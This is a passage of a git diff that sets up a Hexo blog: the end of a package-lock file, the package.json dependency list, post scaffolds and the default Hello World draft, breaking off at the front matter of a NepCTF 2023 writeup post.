"sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmmirror.com/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/sprintf-js": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/sprintf-js/-/sprintf-js-1.1.3.tgz", + "integrity": "sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==" + }, + "node_modules/statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmmirror.com/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/streamx": { + "version": "2.16.1", + "resolved": "https://registry.npmmirror.com/streamx/-/streamx-2.16.1.tgz", + "integrity": "sha512-m9QYj6WygWyWa3H1YY69amr4nVgy61xfjys7xO7kviL5rfIEc2naf+ewFiOA+aEJD7y0JO3h2GoiUv4TDwEGzQ==", + "dependencies": { + "fast-fifo": "^1.1.0", + "queue-tick": "^1.0.1" + }, + "optionalDependencies": { + "bare-events": "^2.2.0" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-indent": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/strip-indent/-/strip-indent-3.0.0.tgz", + "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", + "dependencies": { + "min-indent": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/striptags": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/striptags/-/striptags-3.2.0.tgz", + "integrity": "sha512-g45ZOGzHDMe2bdYMdIvdAfCQkCTDMGBazSw1ypMowwGIee7ZQ5dU0rBJ8Jqgl+jAKIv4dbeE1jscZq9wid1Tkw==" + }, + "node_modules/stylus": { + "version": "0.62.0", + "resolved": "https://registry.npmmirror.com/stylus/-/stylus-0.62.0.tgz", + "integrity": "sha512-v3YCf31atbwJQIMtPNX8hcQ+okD4NQaTuKGUWfII8eaqn+3otrbttGL1zSMZAAtiPsBztQnujVBugg/cXFUpyg==", + "dependencies": { + "@adobe/css-tools": "~4.3.1", + "debug": "^4.3.2", + "glob": "^7.1.6", + "sax": "~1.3.0", + "source-map": "^0.7.3" + }, + "bin": { + "stylus": "bin/stylus" + }, + "engines": { + "node": "*" + } + }, + "node_modules/stylus/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/stylus/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/stylus/node_modules/source-map": { + "version": "0.7.4", + "resolved": "https://registry.npmmirror.com/source-map/-/source-map-0.7.4.tgz", + "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/tar-fs": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/tar-fs/-/tar-fs-3.0.4.tgz", + "integrity": "sha512-5AFQU8b9qLfZCX9zp2duONhPmZv0hGYiBPJsyUdqMjzq/mqVpy/rEUSeHk1+YitmxugaptgBh5oDGU3VsAJq4w==", + "dependencies": { + "mkdirp-classic": "^0.5.2", + "pump": "^3.0.0", + "tar-stream": "^3.1.5" + } + }, + "node_modules/tar-stream": { + "version": "3.1.7", + "resolved": "https://registry.npmmirror.com/tar-stream/-/tar-stream-3.1.7.tgz", + "integrity": "sha512-qJj60CXt7IU1Ffyc3NJMjh6EkuCFej46zUqJ4J7pqYlThyd9bO0XBTmcOIhSzZJVWfsLks0+nle/j538YAW9RQ==", + "dependencies": { + "b4a": "^1.6.4", + "fast-fifo": "^1.2.0", + "streamx": "^2.15.0" + } + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmmirror.com/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==" + }, + "node_modules/theme-shokax-anime": { + "version": "0.0.6", + "resolved": "https://registry.npmmirror.com/theme-shokax-anime/-/theme-shokax-anime-0.0.6.tgz", + "integrity": "sha512-Ptjgi9nK8dknrZI9oQFCQx/SV15xERfUmW+AGXQnBgv1GSu8Iap5feiTbas0Y5HJtZbghcXw65Iy27oYcZotLQ==" + }, + "node_modules/theme-shokax-pjax": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/theme-shokax-pjax/-/theme-shokax-pjax-0.0.3.tgz", + "integrity": "sha512-de6y9QSuiJSSsfST04EG4m1sCYGDi+QN+z7R0w+lhGosrPagERv4vM/2k310DdWfMavsJtR2Y+tCGZtsK5bLWQ==" + }, + "node_modules/throttles": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/throttles/-/throttles-1.0.1.tgz", + "integrity": "sha512-fab7Xg+zELr9KOv4fkaBoe/b3L0GMGLd0IBSCn16GoE/Qx6/OfCr1eGNyEcDU2pUA79qQfZ8kPQWlRuok4YwTw==", + "engines": { + "node": ">=6" + } + }, + "node_modules/through": { + "version": "2.3.8", + "resolved": "https://registry.npmmirror.com/through/-/through-2.3.8.tgz", + "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==" + }, + "node_modules/through2": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/through2/-/through2-4.0.2.tgz", + "integrity": "sha512-iOqSav00cVxEEICeD7TjLB1sueEL+81Wpzp2bY17uZjZN0pWZPuo4suZ/61VujxmqSGFfgOcNuTZ85QJwNZQpw==", + "dependencies": { + "readable-stream": "3" + } + }, + "node_modules/tildify": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/tildify/-/tildify-2.0.0.tgz", + "integrity": "sha512-Cc+OraorugtXNfs50hU9KS369rFXCfgGLpfCfvlc+Ud5u6VWmUQsOAa9HbTvheQdYnrdJqqv1e5oIqXppMYnSw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/titlecase": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/titlecase/-/titlecase-1.1.3.tgz", + "integrity": "sha512-pQX4oiemzjBEELPqgK4WE+q0yhAqjp/yzusGtlSJsOuiDys0RQxggepYmo0BuegIDppYS3b3cpdegRwkpyN3hw==", + "bin": { + "to-title-case": "bin.js" + } + }, + "node_modules/to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==", + "engines": { + "node": ">=4" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/token-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/token-stream/-/token-stream-1.0.0.tgz", + "integrity": "sha512-VSsyNPPW74RpHwR8Fc21uubwHY7wMDeJLys2IX5zJNih+OnAnaifKHo+1LHT7DAdloQ7apeaaWg8l7qnf/TnEg==" + }, + "node_modules/tr46": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/tr46/-/tr46-0.0.3.tgz", + "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==" + }, + "node_modules/tslib": { + "version": "2.6.2", + "resolved": "https://registry.npmmirror.com/tslib/-/tslib-2.6.2.tgz", + "integrity": "sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==" + }, + "node_modules/twikoo": { + "version": "1.6.31", + "resolved": "https://registry.npmmirror.com/twikoo/-/twikoo-1.6.31.tgz", + "integrity": "sha512-hme7cwPP2y3Dbrwu5nHIEYIpPC7WqkC88+b3McdN7nw7tpSkqhRKMnIc8TZJpNAa2SSBGUprMNemL/4irPqMqA==" + }, + "node_modules/typescript": { + "version": "5.4.2", + "resolved": "https://registry.npmmirror.com/typescript/-/typescript-5.4.2.tgz", + "integrity": "sha512-+2/g0Fds1ERlP6JsakQQDXjZdZMM+rqpamFZJEKh4kwTIn3iDkgKtby0CeNd5ATNZ4Ry1ax15TMx0W2V+miizQ==", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/uc.micro": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/uc.micro/-/uc.micro-1.0.6.tgz", + "integrity": "sha512-8Y75pvTYkLJW2hWQHXxoqRgV7qb9B+9vFEtidML+7koHUFapnVJAZ6cKs+Qjz5Aw3aZWHMC6u0wJE3At+nSGwA==" + }, + "node_modules/uglify-js": { + "version": "3.17.4", + "resolved": "https://registry.npmmirror.com/uglify-js/-/uglify-js-3.17.4.tgz", + "integrity": "sha512-T9q82TJI9e/C1TAxYvfb16xO120tMVFZrGA3f9/P4424DNu6ypK103y0GPFVa17yotwSyZW5iYXgjYHkGrJW/g==", + "bin": { + "uglifyjs": "bin/uglifyjs" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/unbzip2-stream": { + "version": "1.4.3", + "resolved": "https://registry.npmmirror.com/unbzip2-stream/-/unbzip2-stream-1.4.3.tgz", + "integrity": "sha512-mlExGW4w71ebDJviH16lQLtZS32VKqsSfk80GCfUlwT/4/hNRFsoscrF/c++9xinkMzECL1uL9DDwXqFWkruPg==", + "dependencies": { + "buffer": "^5.2.1", + "through": "^2.3.8" + } + }, + "node_modules/undici-types": { + "version": "5.26.5", + "resolved": "https://registry.npmmirror.com/undici-types/-/undici-types-5.26.5.tgz", + "integrity": "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==", + "optional": true + }, + "node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/unlazy": { + "version": "0.10.5", + "resolved": "https://registry.npmmirror.com/unlazy/-/unlazy-0.10.5.tgz", + "integrity": "sha512-RtoxQ4On1DNkqDNVjXQcO1LrJ1UQtkzFBp3Qg5D/tw3eeZ78haKe6OOxkN5B6F5ew81ww1XmPRjULWfzw3v/Ug==", + "dependencies": { + "@unlazy/core": "0.10.5" + } + }, + "node_modules/unorm": { + "version": "1.6.0", + "resolved": "https://registry.npmmirror.com/unorm/-/unorm-1.6.0.tgz", + "integrity": "sha512-b2/KCUlYZUeA7JFUuRJZPUtr4gZvBh7tavtv4fvk4+KV9pfGiR6CQAQAWl49ZpR3ts2dk4FYkP7EIgDJoiOLDA==", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.0.13", + "resolved": "https://registry.npmmirror.com/update-browserslist-db/-/update-browserslist-db-1.0.13.tgz", + "integrity": "sha512-xebP81SNcPuNpPP3uzeW1NYXxI3rxyJzF3pD6sH4jE7o/IX+WtSpwnVU+qIsDPyk0d3hmFQ7mjqc6AtV604hbg==", + "dependencies": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/upper-case": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/upper-case/-/upper-case-1.1.3.tgz", + "integrity": "sha512-WRbjgmYzgXkCV7zNVpy5YgrHgbBv126rMALQQMrmzOVC4GM2waQ9x7xtm8VU+1yF2kWyPzI9zbZ48n4vSxwfSA==" + }, + "node_modules/urlpattern-polyfill": { + "version": "10.0.0", + "resolved": "https://registry.npmmirror.com/urlpattern-polyfill/-/urlpattern-polyfill-10.0.0.tgz", + "integrity": "sha512-H/A06tKD7sS1O1X2SshBVeA5FLycRpjqiBeqGKmBwBDBy28EnRjORxTNe269KSSr5un5qyWi1iL61wLxpd+ZOg==" + }, + "node_modules/uslug": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/uslug/-/uslug-1.0.4.tgz", + "integrity": "sha512-Jrbpp/NS3TvIGNjfJT1sn3/BCeykoxR8GbNYW5lF6fUscLkbXFwj1b7m4DvIkHm8k3Qr6Co68lbTmoZTMGk/ow==", + "dependencies": { + "unorm": ">= 1.0.0" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==" + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/void-elements": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/void-elements/-/void-elements-3.1.0.tgz", + "integrity": "sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/vue": { + "version": "3.4.21", + "resolved": "https://registry.npmmirror.com/vue/-/vue-3.4.21.tgz", + "integrity": "sha512-5hjyV/jLEIKD/jYl4cavMcnzKwjMKohureP8ejn3hhEjwhWIhWeuzL2kJAjzl/WyVsgPY56Sy4Z40C3lVshxXA==", + "dependencies": { + "@vue/compiler-dom": "3.4.21", + "@vue/compiler-sfc": "3.4.21", + "@vue/runtime-dom": "3.4.21", + "@vue/server-renderer": "3.4.21", + "@vue/shared": "3.4.21" + }, + "peerDependencies": { + "typescript": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/warehouse": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/warehouse/-/warehouse-5.0.1.tgz", + "integrity": "sha512-5BQEQP56bPY+cqocTho4syazuGgSoyKd0y3PsS2j8tGN10HH+CEfJSIY+KUw9D0k4jaVEFMXLz0KqCiUzTYb8A==", + "dependencies": { + "bluebird": "^3.7.2", + "cuid": "^2.1.8", + "graceful-fs": "^4.2.10", + "hexo-log": "^4.0.1", + "is-plain-object": "^5.0.0", + "jsonparse": "^1.3.1", + "rfdc": "^1.3.0", + "through2": "^4.0.2" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/webidl-conversions": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/webidl-conversions/-/webidl-conversions-3.0.1.tgz", + "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==" + }, + "node_modules/whatwg-url": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/whatwg-url/-/whatwg-url-5.0.0.tgz", + "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", + "dependencies": { + "tr46": "~0.0.3", + "webidl-conversions": "^3.0.0" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/with": { + "version": "7.0.2", + "resolved": "https://registry.npmmirror.com/with/-/with-7.0.2.tgz", + "integrity": "sha512-RNGKj82nUPg3g5ygxkQl0R937xLyho1J24ItRCBTr/m1YnZkzJy1hUiHUJrc/VlsDQzsCnInEGSg3bci0Lmd4w==", + "dependencies": { + "@babel/parser": "^7.9.6", + "@babel/types": "^7.9.6", + "assert-never": "^1.2.1", + "babel-walk": "3.0.0-canary-5" + }, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==" + }, + "node_modules/ws": { + "version": "8.16.0", + "resolved": "https://registry.npmmirror.com/ws/-/ws-8.16.0.tgz", + "integrity": "sha512-HS0c//TP7Ina87TfiPUz1rQzMhHrl/SG2guqRcTOIUYD2q8uhUdNHZYJUaQ8aTGPzCh+c6oawMKW35nFl1dxyQ==", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, + "node_modules/yargs": { + "version": "17.7.2", + "resolved": "https://registry.npmmirror.com/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmmirror.com/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "engines": { + "node": ">=12" + } + }, + "node_modules/yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmmirror.com/yauzl/-/yauzl-2.10.0.tgz", + "integrity": "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==", + "dependencies": { + "buffer-crc32": "~0.2.3", + "fd-slicer": "~1.1.0" + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..9fd20b1 --- /dev/null +++ b/package.json @@ -0,0 +1,47 @@ +{ + "name": "hexo-site", + "version": "0.0.0", + "private": true, + "scripts": { + "build": "hexo generate", + "clean": "hexo clean", + "deploy": "hexo deploy", + "server": "hexo server" + }, + "hexo": { + "version": "7.0.0" + }, + "dependencies": { + "@algolia/client-search": "^4.22.1", + "@waline/client": "^3.1.3", + "algoliasearch": "^4.22.1", + "esbuild": "^0.20.1", + "hexo": "^7.0.0", + "hexo-algoliasearch": "^2.0.1", + "hexo-feed": "^1.1.2", + "hexo-fs": "^4.1.1", + "hexo-generator-archive": "^2.0.0", + "hexo-generator-category": "^2.0.0", + "hexo-generator-index": "^3.0.0", + "hexo-generator-tag": "^2.0.0", + "hexo-lightning-minify": "^0.1.5", + "hexo-pagination": "^3.0.0", + "hexo-renderer-ejs": "^2.0.0", + "hexo-renderer-multi-next-markdown-it": "^0.2.1", + "hexo-renderer-pug": "^3.0.0", + "hexo-renderer-stylus": "^3.0.0", + "hexo-server": "^3.0.0", + "hexo-theme-landscape": "^1.0.0", + "hexo-theme-shokax": "^0.4.2", + "hexo-util": "^3.2.0", + "instantsearch.js": "^4.66.0", + "js-yaml": "^4.1.0", + "mouse-firework": "^0.0.5", + "quicklink": "^2.3.0", + "theme-shokax-anime": "^0.0.6", + "theme-shokax-pjax": "^0.0.3", + "twikoo": "^1.6.31", + "unlazy": "^0.10.5", + "vue": "^3.4.21" + } +} \ No newline at end of file diff --git a/scaffolds/draft.md b/scaffolds/draft.md new file mode 100644 index 0000000..498e95b --- /dev/null +++ b/scaffolds/draft.md @@ -0,0 +1,4 @@ +--- +title: {{ title }} +tags: +--- diff --git a/scaffolds/page.md b/scaffolds/page.md new file mode 100644 index 0000000..f01ba3c --- /dev/null +++ b/scaffolds/page.md @@ -0,0 +1,4 @@ +--- +title: {{ title }} +date: {{ date }} +--- diff --git a/scaffolds/post.md b/scaffolds/post.md new file mode 100644 index 0000000..1f9b9a4 --- /dev/null +++ b/scaffolds/post.md @@ -0,0 +1,5 @@ +--- +title: {{ title }} +date: {{ date }} +tags: +--- diff --git a/source/_data/assets/avatar.png b/source/_data/assets/avatar.png new file mode 100644 index 0000000..22070b9 Binary files /dev/null and b/source/_data/assets/avatar.png differ diff --git a/source/_data/assets/favicon.ico b/source/_data/assets/favicon.ico new file mode 100644 index 0000000..08bf165 Binary files /dev/null and b/source/_data/assets/favicon.ico differ diff --git a/source/_draft/hello-world.md b/source/_draft/hello-world.md new file mode 100644 index 0000000..821780c --- /dev/null +++ b/source/_draft/hello-world.md @@ -0,0 +1,38 @@ +--- +title: Hello World +--- +Welcome to [Hexo](https://hexo.io/)! This is your very first post. Check [documentation](https://hexo.io/docs/) for more info. If you get any problems when using Hexo, you can find the answer in [troubleshooting](https://hexo.io/docs/troubleshooting.html) or you can ask me on [GitHub](https://github.com/hexojs/hexo/issues). + +## Quick Start + +### Create a new post + +``` bash +$ hexo new "My New Post" +``` + +More info: [Writing](https://hexo.io/docs/writing.html) + +### Run server + +``` bash +$ hexo server +``` + +More info: [Server](https://hexo.io/docs/server.html) + +### Generate static files + +``` bash +$ hexo generate +``` + +More info: [Generating](https://hexo.io/docs/generating.html) + +### Deploy to remote sites + +``` bash +$ hexo deploy +``` + +More info: [Deployment](https://hexo.io/docs/one-command-deployment.html) diff --git a/source/_posts/wp/nepctf-2023.md b/source/_posts/wp/nepctf-2023.md new file mode 100644 index 0000000..5da0be8 --- /dev/null +++ b/source/_posts/wp/nepctf-2023.md @@ -0,0 +1,503 @@ +--- +title: NepCTF 2023 Writeup by LilRan +date: 2023/08/14 13:35:00 +updated: 2023/08/14 